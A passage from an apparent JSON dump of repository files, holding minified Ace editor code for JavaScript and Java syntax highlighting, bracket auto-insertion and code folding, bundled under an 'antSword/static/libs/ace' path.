a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),ace.define(\"ace/mode/java_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=\"abstract|continue|for|new|switch|assert|default|goto|package|synchronized|boolean|do|if|private|this|break|double|implements|protected|throw|byte|else|import|public|throws|case|enum|instanceof|return|transient|catch|extends|int|short|try|char|final|interface|static|void|class|finally|long|strictfp|volatile|const|float|native|super|while\",t=\"null|Infinity|NaN|undefined\",n=\"AbstractMethodError|AssertionError|ClassCircularityError|ClassFormatError|Deprecated|EnumConstantNotPresentException|ExceptionInInitializerError|IllegalAccessError|IllegalThreadStateException|InstantiationError|InternalError|NegativeArraySizeException|NoSuchFieldError|Override|Process|ProcessBuilder|SecurityManager|StringIndexOutOfBoundsException|SuppressWarnings|TypeNotPresentException|UnknownError|UnsatisfiedLinkError|UnsupportedClassVersionError|VerifyError|InstantiationException|IndexOutOfBoundsException|ArrayIndexOutOfBoundsException|CloneNotSupportedException|NoSuchFieldException|IllegalArgumentException|NumberFormatException|SecurityException|Void|InheritableThreadLocal|IllegalStateException|InterruptedException|NoSuchMethodException|IllegalAccessException|UnsupportedOperationException|Enum|StrictMath|Package|Compiler|Readable|Runtime|StringBuilder|Math|IncompatibleClassChangeError|NoSuchMethodError|ThreadLocal|RuntimePermission|ArithmeticException|NullPointerException|Long|Integer|Short|Byte|Double|Number|Float|Character|Boolean|StackTraceElement|Appendable|StringBuffer|Iterable|ThreadGroup|Runnable|Thread|IllegalMonitorStateException|StackOverflowError|OutOfMemoryError|VirtualMachineError|ArrayStoreException|ClassCastException|LinkageError|NoClassDefFoundError|ClassNotFoundException|RuntimeException|Exception|ThreadDeath|Error|Throwable|System|ClassLoader|Cloneable|Class|CharSequence|Comparable|String|Object\",r=this.createKeywordMapper({\"variable.language\":\"this\",keyword:e,\"constant.language\":t,\"support.function\":n},\"identifier\");this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|instanceof|new|delete|typeof|void)\"},{token:\"lparen\",regex:\"[[({]\"},{token:\"rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};r.inherits(o,s),t.JavaHighlightRules=o}),ace.define(\"ace/mode/java\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/javascript\",\"ace/mode/java_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./javascript\").Mode,s=e(\"./java_highlight_rules\").JavaHighlightRules,o=function(){i.call(this),this.HighlightRules=s};r.inherits(o,i),function(){this.createWorker=function(e){return null},this.$id=\"ace/mode/java\"}.call(o.prototype),t.Mode=o})"
  },
  {
    "path": "antSword/static/libs/ace/mode-javascript.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",s=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+r+\")(\\\\.)(prototype)(\\\\.)(\"+r+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+r+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"punctuation.operator\",\"support.function\"],regex:/(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.function.dom\"],regex:/(\\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.constant\"],regex:/(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:r},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:r},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]},(!e||!e.noES6)&&this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:s},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(o,s),t.JavaScriptHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var 